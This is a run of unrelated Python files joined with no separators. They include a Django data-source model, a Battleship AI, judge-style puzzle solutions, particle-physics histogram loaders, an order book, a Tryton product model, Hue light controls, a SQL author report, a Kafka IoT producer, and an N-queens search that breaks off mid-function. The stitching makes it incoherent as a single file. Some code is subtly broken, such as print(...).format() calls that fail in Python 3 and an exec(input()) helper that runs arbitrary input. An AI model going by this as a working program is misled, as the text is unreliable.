"""
This module contains the Django models necessary to manage the set of data sources.
"""

import contextlib
import enum
import json
import typing

from django.conf import settings
from django.db import models
from django.urls import reverse

from core.models import BaseAppDataModel, MAX_LENGTH_API_KEY, MAX_LENGTH_NAME, MAX_LENGTH_PATH, SoftDeletionManager
from datasources.connectors.base import AuthMethod, BaseDataConnector, REQUEST_AUTH_FUNCTIONS
from provenance.models import ProvAbleModel

#: Length of request reason field - must include brief description of project
MAX_LENGTH_REASON = 511

class Licence(models.Model):
    """
    Model representing a licence under which a data source is published e.g. Open Government Licence.
    """

    #: User who has responsibility for this licence
    owner = models.ForeignKey(settings.AUTH_USER_MODEL,
                              limit_choices_to={
                                  'groups__name': 'Data providers'
                              },
                              on_delete=models.PROTECT,
                              related_name='licences',
                              blank=False, null=False)

    #: Name of the licence - e.g. Open Government License
    name = models.CharField(max_length=MAX_LENGTH_NAME,
                            blank=False, null=False)

    #: Short text identifier - e.g. OGL
    short_name = models.CharField(max_length=MAX_LENGTH_NAME,
                                  blank=True, null=False)

    #: Licence version - e.g. v2.0
    version = models.CharField(max_length=MAX_LENGTH_NAME,
                               blank=False, null=False)

    #: Address at which the licence text may be accessed
    url = models.CharField(max_length=MAX_LENGTH_PATH,
                           blank=True, null=False)

    class Meta:
        unique_together = (('name', 'version'),)

    def __str__(self):
        return self.name

    def get_absolute_url(self):
        return reverse('datasources:licence.detail', kwargs={'pk': self.pk})

@enum.unique
class UserPermissionLevels(enum.IntEnum):
    """
    User permission levels on data sources.
    """
    #: No permissions
    NONE = 0

    #: Permission to view in PEDASI UI
    VIEW = 1

    #: Permission to query metadata via API / UI
    META = 2

    #: Permission to query data via API / UI
    DATA = 3

    #: Permission to query PROV via API / UI
    PROV = 4

    @classmethod
    def choices(cls):
        return tuple((i.value, i.name) for i in cls)

class UserPermissionLink(models.Model):
    """
    Model to act as a many to many joining table to handle user permission levels for access to data sources.
    """
    #: User being managed
    user = models.ForeignKey(settings.AUTH_USER_MODEL,
                             on_delete=models.CASCADE)

    #: Data source on which the permissions are being granted
    datasource = models.ForeignKey('DataSource',
                                   on_delete=models.CASCADE)

    #: Granted permission level
    granted = models.IntegerField(choices=UserPermissionLevels.choices(),
                                  default=UserPermissionLevels.NONE,
                                  blank=False, null=False)

    #: Requested permission level
    requested = models.IntegerField(choices=UserPermissionLevels.choices(),
                                    default=UserPermissionLevels.NONE,
                                    blank=False, null=False)

    #: Have permission to push data?
    push_granted = models.BooleanField(default=False)

    #: Also require permission to push data?
    push_requested = models.BooleanField(default=False)

    #: Reason the permission was requested
    reason = models.CharField(max_length=MAX_LENGTH_REASON,
                              blank=True, null=False)

    class Meta:
        unique_together = (('user', 'datasource'),)

class DataSource(ProvAbleModel, BaseAppDataModel):
    """
    Manage access to a data source API.

    Will provide functionality to:

    * Query data (with query params)
    * Query metadata (with query params)
    * Track provenance of the data source itself
    * Track provenance of data accesses
    """
    objects = SoftDeletionManager()

    #: Address at which the API may be accessed
    url = models.CharField(max_length=MAX_LENGTH_PATH,
                           blank=True, null=False)

    #: User who has responsibility for this data source
    owner = models.ForeignKey(settings.AUTH_USER_MODEL,
                              limit_choices_to={
                                  'groups__name': 'Data providers'
                              },
                              on_delete=models.PROTECT,
                              related_name='datasources',
                              blank=False, null=False)

    #: Information required to initialise the connector for this data source
    _connector_string = models.CharField(max_length=MAX_LENGTH_PATH,
                                         blank=True, null=False)

    #: Name of plugin which allows interaction with this data source
    plugin_name = models.CharField(max_length=MAX_LENGTH_NAME,
                                   default='DataSetConnector',
                                   blank=False, null=False)

    #: If the data source API requires an API key use this one
    api_key = models.CharField(max_length=MAX_LENGTH_API_KEY,
                               blank=True, null=False)

    #: Contains encrypted data?
    is_encrypted = models.BooleanField(default=False,
                                       blank=False, null=False)

    #: Where to find information about how to use this encrypted data
    encrypted_docs_url = models.URLField('Documentation URL for managing encrypted data',
                                         blank=True, null=False)

    #: Which authentication method to use - defined in :class:`datasources.connectors.base.AuthMethod` enum
    auth_method = models.IntegerField(choices=AuthMethod.choices(),
                                      default=AuthMethod.UNKNOWN,
                                      blank=False, null=False)

    #: Users - linked via a permission table - see :class:`UserPermissionLink`
    users = models.ManyToManyField(settings.AUTH_USER_MODEL,
                                   through=UserPermissionLink)

    #: The level of access that users are assumed to have without gaining explicit permission
    public_permission_level = models.IntegerField(choices=UserPermissionLevels.choices(),
                                                  default=UserPermissionLevels.DATA.value,
                                                  blank=False, null=False)

    #: Is this data source exempt from PROV tracking - e.g. utility data sources - postcode lookup
    prov_exempt = models.BooleanField(default=False,
                                      help_text=(
                                          'Should this data source be exempt from PROV tracking? '
                                          'This is useful for utility data sources which expect a large volume '
                                          'of queries, but are not interested in analysing usage patterns. '
                                          'Note that this only disables tracking of data accesses, '
                                          'not of updates to the data source in PEDASI.'
                                      ),
                                      blank=False, null=False)

    #: Which licence is this data published under
    licence = models.ForeignKey(Licence,
                                related_name='datasources',
                                on_delete=models.PROTECT,
                                blank=True, null=True)

    #: Total number of requests sent to the external API
    external_requests_total = models.PositiveIntegerField(default=0,
                                                          editable=False, blank=False, null=False)

    #: Number of requests sent to the external API since the last reset - reset at midnight by cron job
    external_requests = models.PositiveIntegerField(default=0,
                                                    editable=False, blank=False, null=False)

    #: Has this object been soft deleted?
    is_deleted = models.BooleanField(default=False,
                                     editable=False, blank=False, null=False)

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._data_connector = None

    def save(self, *args, **kwargs):
        # TODO avoid determining auth method if existing one still works
        self.auth_method = self.data_connector_class.determine_auth_method(self.url, self.api_key)

        super().save(*args, **kwargs)

    def delete(self, using=None, keep_parents=False):
        """
        Soft delete this object.
        """
        self.is_deleted = True
        self.save()

    def has_view_permission(self, user: settings.AUTH_USER_MODEL) -> bool:
        """
        Does a user have permission to view this data source in the PEDASI UI?

        :param user: User to check
        :return: User has permission?
        """
        return self.has_permission_level(user, UserPermissionLevels.VIEW)

    def has_permission_level(self, user: settings.AUTH_USER_MODEL, level: UserPermissionLevels) -> bool:
        """
        Does a user have a particular permission level on this data source?

        :param user: User to check
        :param level: Permission level to check for
        :return: User has permission?
        """
        if self.public_permission_level >= level:
            # Everyone has access
            return True

        if self.owner == user or user.is_superuser:
            return True

        try:
            permission = UserPermissionLink.objects.get(
                user=user,
                datasource=self
            )
        except (UserPermissionLink.DoesNotExist, TypeError):
            # TypeError - user is not logged in
            return False

        return permission.granted >= level

    def has_edit_permission(self, user: settings.AUTH_USER_MODEL) -> bool:
        """
        Does a given user have permission to edit this data source?

        :param user: User to check
        :return: User has permission to edit?
        """
        return user.is_superuser or user == self.owner

    @property
    def is_catalogue(self) -> bool:
        """
        Is this data source a data catalogue?
        """
        return self.data_connector_class.is_catalogue

    @property
    def connector_string(self):
        """
        Get the string used to locate the resource associated with this data source.

        e.g. URL, SQL table identifier, etc.
        """
        if self._connector_string:
            return self._connector_string
        return self.url

    @property
    def data_connector_class(self) -> typing.Type[BaseDataConnector]:
        """
        Get the data connector class for this source.

        :return: Data connector class
        """
        BaseDataConnector.load_plugins('datasources/connectors')

        try:
            plugin = BaseDataConnector.get_plugin(self.plugin_name)

        except KeyError as exc:
            if not self.plugin_name:
                raise ValueError('Data source plugin is not set') from exc

            raise KeyError('Data source plugin not found') from exc

        return plugin

    def _get_data_connector(self) -> BaseDataConnector:
        """
        Construct the data connector for this source.

        :return: Data connector instance
        """
        plugin = self.data_connector_class

        if not self.api_key:
            data_connector = plugin(self.connector_string)

        else:
            # Is the authentication method set?
            auth_method = AuthMethod(self.auth_method)
            if auth_method == AuthMethod.UNKNOWN:
                auth_method = plugin.determine_auth_method(self.url, self.api_key)

            # Inject function to get authenticated request
            auth_class = REQUEST_AUTH_FUNCTIONS[auth_method]

            data_connector = plugin(self.connector_string, self.api_key,
                                    auth=auth_class)

        return data_connector

    @property
    @contextlib.contextmanager
    def data_connector(self) -> BaseDataConnector:
        """
        Context manager to construct the data connector for this source.

        When the context manager is closed, the number of requests to the external API will be added to the total.

        :return: Data connector instance
        """
        if self._data_connector is None:
            self._data_connector = self._get_data_connector()

        try:
            # Returns as context manager
            yield self._data_connector

        finally:
            # Executed after the context manager is closed
            self.external_requests += self._data_connector.request_count
            self.external_requests_total += self._data_connector.request_count

            self.save()

    @property
    def search_representation(self) -> str:
        """
        Provide a text representation of this data source to be entered into a search index.

        :return: Text representation of this data source
        """
        lines = [
            self.name,
            self.owner.get_full_name(),
            self.description,
        ]

        try:
            # Using the data_connector context manager results in an infinite recursion:
            #   1. Save data source
            #   2. Get search representation (this function)
            #   3. Close data connector context manager
            #   4. Save data source -> ...

            data_connector = self._get_data_connector()
            metadata = data_connector.get_metadata()

            lines.append(json.dumps(
                metadata,
                indent=4
            ))

        except (KeyError, NotImplementedError, ValueError):
            # KeyError: Plugin was not found
            # NotImplementedError: Plugin does not support metadata
            # ValueError: Plugin was not set
            pass

        result = '\n'.join(lines)
        return result

    def get_absolute_url(self):
        return reverse('datasources:datasource.detail',
                       kwargs={'pk': self.pk})


from Player import Player

import random

hits = 0

class ComputerPlayer(Player):

    # Places ships based on the letter inputted and the number of spaces the ship takes up
    def placeShips(self, ship, spaces):  # places ships
        while (True):  # while the ship placement is in the grid it runs the code placing the ship
            row = random.randint(0, 9)
            col = random.randint(0, 9)
            direction = random.randint(0, 1)
            horiz = "V"
            if (direction == 1):  # if the random number generated is 1 then the ship is horizontal
                horiz = "H"

            inGrid = self.checkLegalPlacement(row, col, horiz, ship, spaces)
            if (inGrid == False):  # if the ship is not in the grid inGrid becomes false and it reruns the code
                continue
            self.placeShipInGrid(row, col, horiz, ship, spaces)
            break
    # computer guesses the on the computer guess grid and compares it to the player input grid inputted in the method
    def GuessShips(self, p):
        global hits
        while (True):  # reruns the guess ship code until the amount of hits becomes 17
            row = random.randint(0, 9)
            col = random.randint(0, 9)
            print("Computer guessed (" + str(row) + ", " + str(col) + ")")
            if (row > 9 or row < 0 or col > 9 or col < 0):  # if placement is out of bounds
                print("Out of bounds, try again")
            else:
                if (p.shipGrid[row][col] == '~'):  # prints miss if the random coordinate does not correspond with a ship
                    print("miss")
                    self.guessGrid[row][col] = 'o'
                    break

                elif (self.guessGrid[row][col] == 'o' or self.guessGrid[row][col] == 'x'):  # if coordinate on guess is already o tells computer to enter in a new coordinate
                    print('already guessed there pick new coordinate')

                else:
                    print("hit")
                    self.guessGrid[row][col] = 'x'
                    hits += 1
                    if (hits == 17):  # if the total number of hits becomes 17 then the computer one. Ends the code
                        print("Computer Won, better luck next time")
                        quit()
                    break


def reverse(d):
    rev = {}
    for x in d:
        rev[d[x]]=x
    return rev

def keys(d, v):
    ans = []
    for x in d:
        if d[x]==v:ans.append(x)
    return ans

exec(input().strip())


import sys

def getHansu(n):
    a1 = list(str(n))
    a1 = list(map(int, a1))

    if len(a1) == 1:
        return True
    elif len(a1) > 1:
        dif = a1[1] - a1[0]
        for i in range(len(a1)-1):
            if a1[i+1] - a1[i] != dif:
                return False

    return True

N = int(sys.stdin.readline().strip())
hansuCount = 0

for i in range(1, N+1):
    if getHansu(i) == True:
        hansuCount = hansuCount + 1

print(hansuCount)


# Load Histograms

import ROOT
from LowDMHighMET_merger import *

# make sure ROOT.TFile.Open(fileURL) does not seg fault when $ is in sys.argv (e.g. $ passed in as argument)
ROOT.PyConfig.IgnoreCommandLineOptions = True
# make plots faster without displaying them
ROOT.gROOT.SetBatch(ROOT.kTRUE)
# no info box
ROOT.gStyle.SetOptStat(0)

#ROOT.PyConfig.fAddDirectory(kFalse)

#####################################################################################################################################

def LoadBinHisto(location):
    """Load validation bins histograms with different shape correction factors applied"""

    root_file = ROOT.TFile.Open(location)

    regions    =  ['High', 'Low']
    variables  =  ['', 'nj','ht','met', 'ptb', 'nw', 'nrt', 'nmt', 'nb', 'mtb'] #, 'isr']
    binns      =  ['Validation', 'Search'] # need to add "Search"

    # histos[binn][variable][region]
    histos = {b: { v: dict.fromkeys(regions) for v in variables } for b in binns}
    for binn in binns:
        for variable in variables:
            for region in regions:

                # print("\nWe are now in: {} {} {}\n".format(binn, variable, region))

                branch     =   "n{b}Bin{r}DM_jetpt30".format( b = binn, r = region)
                histogram  = ( "ZNuNu_n{b}Bin_{r}DM_{v}"
                               "jetpt30n{b}Bin{r}DM"
                               "_jetpt30n{b}Bin{r}DM"
                               "_jetpt30ZJetsToNuNu {b} Bin {r} DMdata"
                             ).format( b = binn, r = region, v = variable + '{}'.format('' if not variable else '_shape_') )

                histos[binn][variable][region] = root_file.Get(branch + "/" + histogram)
                if not histos[binn][variable][region]:
                    print("Error, histogram doesn't exist:\n    branch: {}\n    histogram: {}").format(branch, histogram)
                histos[binn][variable][region].SetDirectory(0)

    #fixing LowDm and LowDMHighMET separation
    for variable in variables:

        branch    =       "nValidationBinLowDMHighMET_jetpt30"
        histogram = (     "ZNuNu_nValidationBin_LowDM_HighMET_{}"
			  "jetpt30nValidationBinLowDMHighMET_"
                          "jetpt30nValidationBinLowDMHighMET_"
                          "jetpt30ZJetsToNuNu Validation Bin Low DM High METdata"
                    ).format('' if not variable else "_".join([variable,'shape_']) )

        lowHighMet = root_file.Get(branch + "/" + histogram)

        if not lowHighMet:
            print("Error, histogram doesn't exist: branch: {} \nhistogram: {}").format(branch, histogram)

        temp = LowDMMergerValidationBins(histos['Validation'][variable]['Low'], lowHighMet)

        histos['Validation'][variable]['Low'] = temp.Clone()
        histos['Validation'][variable]['Low'].GetYaxis().SetTitle('Events')
        histos['Validation'][variable]['Low'].GetXaxis().SetTitle('Validations Bin Low DM')
        histos['Validation'][variable]['Low'].SetDirectory(0)

    root_file.Close()

    print("Loading histograms has been successful")

    # histos[binn][variable][region]
    return histos

#####################################################################################################################################

def ForShapeNorm(location):
    """Load variable distributions in order to calculate shape and normalization factor"""

    root_file = ROOT.TFile.Open(location)

    suffix     =  '_drLeptonCleaned_jetpt30'

    branches   =  [ 'nJets' + suffix,
                    'HT' + suffix,
                    'metWithLL',
                    'ptb' + suffix,
                    'nWs' + suffix,
                    'nResolvedTops' + suffix,
                    'nMergedTops' + suffix,
                    'nBottoms' + suffix,
                    'mtb' + suffix,
                    #'ISRJetPt' + suffix  # or is it 'ISRJetPt_jetpt30' ??
                  ]
    variables  =  ['nj', 'ht', 'met', 'ptb', 'nw', 'nrt', 'nmt', 'nb', 'mtb', 'isr']
    regions    =  ['High', 'Low']
    particles  =  ['Electron','Muon']
    metcuts    =  ['', 'Loose']
    mcdata     =  ['Datadata','DYstack','Single tstack','t#bar{t}stack','Rarestack']
    mcdnew     =  ['Data','DY','Sint','TTbar','Rare']

    # histos[variable][region][particle][metcut][mcdata]
    histos = {v: { r: { p: { m: dict.fromkeys(mcdata) for m in metcuts } for p in particles} for r in regions } for v in variables }

    for variable, branch in zip(variables, branches):
        for region in regions:
            for particle in particles:
                for metcut in metcuts:
                    for mcd, mcdn in zip(mcdata, mcdnew):

                        #print("We are now in: {} {} {} {} {}").format(variable, region, particle, metcut, mcdn )

                        histogram  = ( "DataMC_{p}_{r}DM_{met}{v}_jetpt30{b}{b}{md}"
                                     ).format( p    =  particle,
                                               r    =  region,
                                               v    =  variable,
                                               b    =  branch,
                                               md   =  mcd,
                                               met  =  "{}".format( '' if not metcut else (metcut + '_') )
                                     )

                        histos[variable][region][particle][metcut][mcdn] = root_file.Get(branch + "/" + histogram)

                        if not histos[variable][region][particle][metcut][mcdn]:
                            print("Error, histogram doesn't exist: branch: {} \nhistogram: {}").format(branch, histogram)

                        histos[variable][region][particle][metcut][mcdn].SetDirectory(0)

    root_file.Close()

    print("Loading histograms has been successful")

    # histos[variable][region][particle][metcut][mcdata]
    return histos

#####################################################################################################################################

def MCSyst(location):
    """Load validation bins with different systematic uncertainties applied"""

    root_file = ROOT.TFile.Open(location)

    regions      =  ['High', 'Low']
    systematics  =  ['', 'pdf', 'metres', 'jes', 'btag', 'eff_restoptag', 'eff_sb', 'eff_toptag', 'eff_wtag', 'met_trig', 'pileup']
    directions   =  ['down', 'up']
    binns        =  ['Validation', 'Search']

    # histos[binn][syst][direction][region]
    histos = {b: {s: {d: dict.fromkeys(regions) for d in directions } for s in systematics } for b in binns}
    for binn in binns:
        for syst in systematics:
            for direction in directions:
                for region in regions:

                    #print("\nWe are now in: {} {} {} {}\n".format(binn, syst, direction, region))

                    branch     =   "n{b}Bin{r}DM_jetpt30".format( b = binn, r = region)
                    histogram  = ( "ZNuNu_n{b}Bin_{r}DM_{s}"
                                   "jetpt30n{b}Bin{r}DM"
                                   "_jetpt30n{b}Bin{r}DM"
                                   "_jetpt30ZJetsToNuNu {b} Bin {r} DMdata"
                                 ).format( b = binn, r = region, s = '{}'.format('' if not syst else (syst + '_syst_' + direction + '_')) )

                    histos[binn][syst][direction][region] = root_file.Get(branch + "/" + histogram)
                    if not histos[binn][syst][direction][region]:
                        print("Error, histogram doesn't exist:\n     branch: {}\n    histogram: {}").format(branch, histogram)
                    histos[binn][syst][direction][region].SetDirectory(0)

        #fixing LowDm and LowDMHighMET separation
        if binn == "Validation":
            for syst in systematics:

                branch    =    "nValidationBinLowDMHighMET_jetpt30"
                histogram = (  "ZNuNu_nValidationBin_LowDM_HighMET_{}"
    	    		   "jetpt30nValidationBinLowDMHighMET_"
                               "jetpt30nValidationBinLowDMHighMET_"
                               "jetpt30ZJetsToNuNu Validation Bin Low DM High METdata"
                            ).format('' if not syst
                                        else   (syst + '_syst_' + direction + '_')
                                    )

                lowHighMet = root_file.Get(branch + "/" + histogram)

                if not lowHighMet:
                    print("Error, histogram doesn't exist:\n    branch: {} \n    histogram: {}").format(branch, histogram)

                temp = LowDMMergerValidationBins(histos['Validation'][syst][direction]['Low'], lowHighMet)

                histos['Validation'][syst][direction]['Low'] = temp.Clone()
                histos['Validation'][syst][direction]['Low'].SetDirectory(0)

    root_file.Close()

    print("Loading histograms has been successful")

    # histos[binn][syst][direction][region]
    return histos

#####################################################################################################################################
if __name__ == '__main__':
    print( "Modules information:\n\n"
           "LoadBinHito: {}\n"
           "ForShapeNorm: {}\n"
           "MCSyst: {}\n"
         ).format(LoadBinHisto.__doc__, ForShapeNorm.__doc__, MCSyst.__doc__)


import enum
from collections import OrderedDict
from operator import attrgetter
from typing import Optional, List, Dict

from .exceptions import OrderBookException

class Order(object):
    def __init__(self, timestamp: int, identifier: int, cost: float) -> None:
        self.timestamp = timestamp
        self.identifier = identifier
        self.cost = cost

    def __str__(self):
        return f'Order: {self.identifier}'

class OrderBook(object):
    def __init__(self):
        self._current_max_cost: Optional[float] = None
        self._orders: Dict[int, Order] = OrderedDict()

    def add_order(self, order: Order) -> None:
        """
        Add order to order book
        :param order: Order to be added
        :return: None
        :raise OrderBookException: if an order with the same id already exists
        """
        if order.identifier in self._orders:
            raise OrderBookException(f'"{order}" already exist')

        self._orders[order.identifier] = order

        if (self._current_max_cost is None
                or order.cost > self._current_max_cost):
            self._current_max_cost = order.cost

    def remove_order(self, order_id: int) -> Order:
        """
        Remove order from order book by identifier
        :param order_id: identifier of order to be removed
        :return: removed order
        :raise OrderBookException: if an order does not exist
        """
        if order_id not in self._orders:
            error_message = f'Order with id={order_id} does not exist'
            raise OrderBookException(error_message)

        removed_order = self._orders.pop(order_id)

        if removed_order.cost == self._current_max_cost:
            self._current_max_cost = max(map(attrgetter('cost'),
                                             self._orders.values()),
                                         default=None)

        return removed_order

    def get_current_max_cost(self) -> Optional[float]:
        """
        Return current maximum cost of added (and not deleted) orders
        :return: current maximum cost or None if there are no orders
        """
        return self._current_max_cost

    def get_orders(self) -> List[Order]:
        """
        Return list of added (and not deleted) orders
        :return: list of orders
        """
        return list(self._orders.values())

    def __len__(self):
        return len(self._orders)

class MaxCostRecord(object):
    def __init__(self, timestamp: int, max_cost: Optional[float]) -> None:
        self.timestamp = timestamp
        self.max_cost = max_cost

class MaxCostInterval(object):
    def __init__(self,
                 timestamp_start: int,
                 timestamp_end: int,
                 max_cost: Optional[float]) -> None:
        self.timestamp_start = timestamp_start
        self.timestamp_end = timestamp_end
        self.max_cost = max_cost

    @staticmethod
    def from_records(start_record: MaxCostRecord, end_record: MaxCostRecord):
        return MaxCostInterval(timestamp_start=start_record.timestamp,
                               timestamp_end=end_record.timestamp,
                               max_cost=start_record.max_cost)

    @property
    def duration(self):
        return self.timestamp_end - self.timestamp_start

class OperationKind(enum.Enum):
    INSERT = 'I'
    DELETE = 'E'

class Operation(object):
    def __init__(self,
                 timestamp: int,
                 kind: OperationKind,
                 order_id: int,
                 cost: Optional[float] = None) -> None:
        self.timestamp = timestamp
        self.kind = kind
        self.order_id = order_id
        self.cost = cost


# https://atcoder.jp/contests/abc201/tasks/abc201_a

nums = list(map(int, input().split()))

"""
小さい順に並び替えて確かめる??
"""
#昇順にソート
#今回のケースでは必要ない
# def bubble_sort(nums):
#   for i in range(len(nums)-1):
#     #列の先頭2要素を最初の比較対象に選ぶ
#     l = 0
#     r = 1

#     #rが末尾に達するまで、隣り合う要素の大小を比較する
#     while r < len(nums):
#       #隣あう要素の大小が逆であれば交換する
#       if nums[l] > nums[r]:
#         nums[l], nums[r] = nums[r], nums[l]
#       #比較対象のindexをインクリメンとする
#       l += 1
#       r += 1

#     return nums

nums.sort()
ans = "No"
if (nums[2] - nums[1]) == (nums[1] - nums[0]):
  ans = "Yes"

print(ans)

"""
1回目
提出情報
提出日時	2021-05-25 09:04:46
問題	A - Tiny Arithmetic Sequence
ユーザ	OrcaDive_U
言語	Python (3.8.2)
得点	0
コード長	729 Byte
結果
実行時間	25 ms
メモリ	9148 KB
ジャッジ結果
セット名	Sample	All
得点 / 配点	0 / 0	0 / 100
結果
× 3
× 10

問題文読もう
ダメらしい

バブルソートダメらしい
"""

"""
提出情報
提出日時	2021-05-25 09:15:32
問題	A - Tiny Arithmetic Sequence
ユーザ	OrcaDive_U
言語	Python (3.8.2)
得点	100
コード長	800 Byte
結果
実行時間	30 ms
メモリ	9100 KB
ジャッジ結果
セット名	Sample	All
得点 / 配点	0 / 0	100 / 100
結果
× 3
× 10

pythonの標準のソート使っちゃダメなんてルールはないよね
"""


n = int(input())
aa = list(map(int, input().split()))

ans = 2 ** 31 - 1
for i in range(2 ** n):
    y = 0
    x = 0
    for j in range(n):
        x |= aa[j]
        if (i >> j) & 1 == 0:
            y ^= x
            x = 0
    if x != 0:
        y ^= x
    ans = min(ans, y)
print(ans)


import sys
input = sys.stdin.readline

n = int(input()) # 컴퓨터의 수
m = int(input()) # 네트워크상 연결되어 있는 컴퓨터의 쌍

graph = [[] for _ in range(n + 1)]

for i in range(m):
	a, b = map(int, input().split())
	graph[b].append(a)
	graph[a].append(b)

visited = [False for _ in range(n + 1)]

def dfs(graph, v, visited): # dfs 탐색
	visited[v] = True

	for i in graph[v]:
		if visited[i] == False:
			dfs(graph, i, visited)

dfs(graph, 1, visited)
print(visited.count(1) - 1) # 처음에 감염된 컴퓨터를 제외하고 감염된 컴퓨터의 수


def solution(cards1, cards2, goal):
    answer = 'Yes'
    idx1=0
    idx2=0
    for i in goal:
        if len(cards1) > idx1 and i == cards1[idx1]:
            idx1 += 1
            print(idx1)
        elif len(cards2) > idx2 and i == cards2[idx2]:
            idx2 += 1
        else:
            return 'No'
    return answer


"""
Argumentos nomeados e não nomeados em funções Python

Argumento nomeado tem nome com sinal de igual (por último)

Argumento não nomeado recebe apenas o argumento (valor)
Argumento posicional => depende da ordem (vem primeiro)
"""

# def soma(parâmetros):
#     print(x + y) manipular parâmetros
#
# soma(argumentos para parâmetros)

def soma(x, y):
    print(x + y)

print(soma) # local da memória
soma(1, 2)
soma(y=1, x=2) # argumentos nomeados


from trytond.model import fields
from trytond.pool import PoolMeta
from trytond.pyson import Eval

__all__ = ['Product']
__metaclass__ = PoolMeta

STATES = {
    'readonly': ~Eval('active', True),
    'invisible': (~Eval('variant_name', False) & Eval('_parent_template', {}).get('unique_variant', False)),
    'required': ~(Eval('variant_name', False) | Eval('_parent_template', {}).get('unique_variant', False)),
    }
DEPENDS = ['active']

class Product:
    __name__ = 'product.product'
    name = fields.Char("Name", size=None, select=True, states=STATES,
        depends=DEPENDS)
    variant_name = fields.Function(fields.Boolean('Variant Name'),
        'on_change_with_variant_name')

    def __getattr__(self, name):
        result = super(Product, self).__getattr__(name)
        if not result and name == 'name':
            return getattr(self.template, name)
        return result

    @fields.depends('template')
    def on_change_with_variant_name(self, name=None):
        if self.template:
            return self.template.unique_variant
        return False

    @classmethod
    def search(cls, domain, offset=0, limit=None, order=None, count=False,
            query=False):
        for d in domain:
            if d and d[0] == 'name':
                domain = ['OR', domain[:], ('template.name', 'ilike', d[2])]
                break
        return super(Product, cls).search(domain, offset=offset, limit=limit,
            order=order, count=count, query=query)

    @classmethod
    def search_rec_name(cls, name, clause):
        res = super(Product, cls).search_rec_name(name, clause)
        return ['OR',
            res,
            [('name', ) + tuple(clause[1:])]
            ]

    def get_rec_name(self, name):
        if self.code and self.name:
            return '[' + self.code + '] ' + self.name
        elif self.code:
            return '[' + self.code + '] ' + self.template.name
        else:
            return self.template.name


"""
Commands for controlling the lights.  Physically separate from run.py so we have
a sane way to add or remove new commands that we can firm up over time.
"""

import re
from asyncio import sleep
from typing import List
from phue import Bridge

# pylint: disable=too-few-public-methods
class LightCommands:
    """
    Object for executing command-line commands associated with Hue Lights.
    """
    #
    # only numeric for now
    #
    attributes = {
        "transitiontime",
        "brightness",
        "colortemp",
        "colortemp_k",
        "hue",
        "saturation"
    }

    def __init__(self, parent):
        self.parent = parent
        self.bridge = None

    def _ensure_bridge(self):
        if not self.bridge:
            self.bridge = Bridge()

    # pylint: disable=invalid-name
    async def do(self, parameters: List[str]):
        """
        Implement light control commands such as the following::

           light 4 on
           light group 3 hue 7712

        in which case this function receive the parameters::

           ["4","on"]
           ["group","3","hue","7712"]

        :param parameters:
        :return:
        """
        self._ensure_bridge()

        idx = 0
        first = parameters[idx]
        idx += 1
        pattern = re.compile("[0-9]+")
        if pattern.match(first):
            light_id = int(first)
            light = self.bridge.lights[light_id - 1]
        elif first == "group":
            second = parameters[idx]
            idx += 1
            group_id = int(second)
            light = self.bridge.groups[group_id - 1]
        else:
            raise ValueError("the light command must be followed by "
                             "a number or by 'group' and then a number")

        while idx < len(parameters):
            cmd = parameters[idx]
            idx += 1
            if cmd == "on":
                light.on = True
            elif cmd == "off":
                light.on = False
            elif cmd in LightCommands.attributes:
                amount = int(parameters[idx])
                idx += 1
                setattr(light, cmd, amount)
            else:
                raise ValueError(f"Command {cmd} is not available for lights")

    async def get_unreachable_lights(self, lights, wait_time=10, tries=3):
        """
        Detect unavailable lights.  Every so often a ping fails (for instance when there
        is a lot of Wi-Fi activity) so we will wait and retry to make sure.  Default
        settings are based on a small amount of experience with how rapidly the Hue
        system seems to respond to lights having the AC power turned on and off

        :param lights: list or set of integer light ids
        :param wait_time: how many seconds to wait to try pinging lights a second time
        :param tries: how many tries to try the ping before giving up
        :return: set of unavailable lights
        """

        self._ensure_bridge()
        available = set()
        lights = set(map(int, lights))
        for attempt in range(tries):
            unavailable = lights - available
            if not unavailable:
                return set()

            if attempt:
                await sleep(wait_time)

            for light in lights - available:
                if self.bridge.get_light(light)['state']['reachable']:
                    available.add(light)

        return lights - available


from modules import connection
from modules import formatter

def get_authors():
    cursor = connection.get_connection()
    authors = """
        SELECT name, COUNT(path) AS hits
        FROM articles, log, authors
        WHERE log.path = CONCAT('/article/', articles.slug)
        AND articles.author = authors.id
        GROUP BY name
        ORDER BY hits DESC;
    """
    cursor.execute(authors)
    return cursor.fetchall()

def print_authors():
    print("Top Authors:")
    formatter.repeat_separator()
    for item in get_authors():
        print("The total views for the author '" + str(item[0]) +
              "' are " + formatter.format_num(item[1]) + '.')
    formatter.repeat_separator()

if __name__ == '__main__':
    print_authors()


from faker import Faker
from iot_producer import IoTProvider
from gordon_tech_iot_producer import GordonTechIoTProvider
from kafka import KafkaProducer
import json
import time
import random

# Kafka details
bootstrap_servers = 'kafka-jesperrellme-jesper-9f34.aivencloud.com:27523'
topic = 'jesperrellme_topic'
cert_folder = "./certs"

producer = KafkaProducer(
            bootstrap_servers=bootstrap_servers,
            security_protocol="SSL",
            ssl_cafile=cert_folder + "/ca.pem",
            ssl_certfile=cert_folder + "/service.cert",
            ssl_keyfile=cert_folder + "/service.key",
            value_serializer=lambda v: json.dumps(v).encode("ascii"),
            key_serializer=lambda v: json.dumps(v).encode("ascii"),
        )

# Initialize the Faker instance
faker = Faker()

i = 0
number_of_messages = 2500

#faker.add_provider(IoTProvider)
faker.add_provider(GordonTechIoTProvider)

while i < number_of_messages:

    message, key = faker.produce_msg()
    print("Sending: {}".format(message))
    # sending the message to Kafka
    producer.send(topic, key=key, value=message)
    # Sleeping time
    sleep_time = (
            random.randint(0, int(5 * 10000)) / 10000
    )
    print("Sleeping for..." + str(sleep_time) + "s")
    time.sleep(sleep_time)

    # Force flushing of all messages
    if (i % 100) == 0:
        producer.flush()
    i = i + 1
producer.flush()
# Close the producer
producer.close()

print("Events sent successfully")


import queue
import time
import matplotlib.pyplot as plt

N = 5

#koszmarna funkcja tworzaca potomkow hetmanow

def TworzeniePotomkow2(scr):
    potomkowie = []
    glebokosc = -1
    for i in range(len(scr)):
        if(scr[i]==-1):
            glebokosc = i
            break

    if glebokosc == -1: return potomkowie
    for i in range(N):
        potomek = scr[:]
        potomek[glebokosc] = i
        potomkowie.append(potomek)
    return potomkowie

def SprawdzenieWarunku(el):
    flaga = 0
    for i in range(N):
        for y in range(i+1,N):
            w = abs(el[i]-el[y])
            k = abs(i-y)
            if(w==k):
                flaga = 1
                break

            if(el[i]==el[y]):
                flaga = 1
                break

    if flaga==0:
        return True
    else: return False

def BFS2():
    #s0 = [-1,-1,-1,-1]
    s0 = [-1]*N
    fifo2 =  queue.Queue()
